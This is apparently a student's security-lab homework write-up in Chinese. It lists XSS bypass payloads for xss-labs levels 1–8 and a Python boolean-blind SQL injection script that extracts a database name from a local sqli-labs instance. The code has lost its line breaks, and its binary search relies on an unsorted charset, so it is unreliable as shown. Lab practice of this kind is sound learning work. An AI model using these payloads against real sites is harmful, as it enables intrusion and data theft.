一、作業要求
1、xss-labs 1~8關
2、python實現自動化sql布爾育注代碼優化(二分查找)
二、xss-labs 1~8關
1、準備
打開小皮面板,啟動MySQL和apacher
下載 xss-labs,并解壓后放到 phpstudy_pro 的 WWW 目錄下,重命名為 xss-labs
訪問鏈接:http://localhost/xss-labs/
2、level 1(直接注入)
漏洞:name未過濾直接輸出到HTMLGET
解決方案:直接加入xss攻擊語句
<script>alert('xss')</script>
3、level 2
漏洞:輸入框的alue屬性未過濾,但<h2>內容被轉義
解決方案:閉合value的雙引導,利用未過濾的輸入點注入腳本
(1)在搜索框輸入?<script>alert()</script>不成功
(2)查看源代碼
在搜索框中輸入
"><script>alert()</script>
4、level 3
漏洞:<和>被轉義,但是單引號未過濾
解決方案:
搜索框輸入代碼
' onfocus=javascript:alert() '
查看源代碼
符號被實體化
用onfocus事件進行繞過,則在搜索框中輸入
'onfocus='alert(1)
5、level 4
漏洞:雙引號閉合屬性值
解決方案:查看源代碼
符號被實體化,用onfocus事件實現繞過,搜索框輸入
1"onclick="alert(1)
6、level 5
漏洞:onclick和script被過濾為o_nclick和scr_ipt
解決方案:用<a>標簽的href屬性鏈接到JavaScript
"><a href="javascript:alert(1)">xss</a><"
點擊xss,直接通關
7、level 6
漏洞:大小寫未統一,href被替換成了hr_ef
解決方案:用轉大寫繞過
"><a HREF="javascript:alert(1)">點擊</a>
8、level 7
漏洞:script被替換為空
解決方案:(1)用onfocus事件進行繞過發現on被過濾
(2)用雙寫繞過
"><scscriptript>alert()</scscriptript><"
9、level 8
漏洞:href屬性自動解碼Unicode
解決方案:查看源碼
對javascript:alert(1)編碼
三、python實現自動化sql布爾育注代碼優化(二分查找)
import requests# 目標URL和成功標記
url = "http://127.0.0.1/sqli/Less-8/index.php"
success_marker = "You are in"# 字符集
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-."def get_database_length():for length in range(1, 50):payload = f"1' AND (SELECT length(database()) = {length}) -- "try:response = requests.get(url, params={"id": payload}, timeout=5)if success_marker in response.text:return lengthexcept requests.exceptions.RequestException:continuereturn 0def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) <= '{char}') -- "try:response = requests.get(url, params={"id": payload}, timeout=5)if success_marker in response.text:right = mid - 1else:left = mid + 1except requests.exceptions.RequestException:breakdb_name += charset[left] if left < len(charset) else "?"return db_nameif __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
get_database_length()
:通過遞增測試確定數據庫名的長度
get_database_name(length)
:使用二分查找法逐字符推斷數據庫名
結果
數據庫名長度: 8
數據庫名: security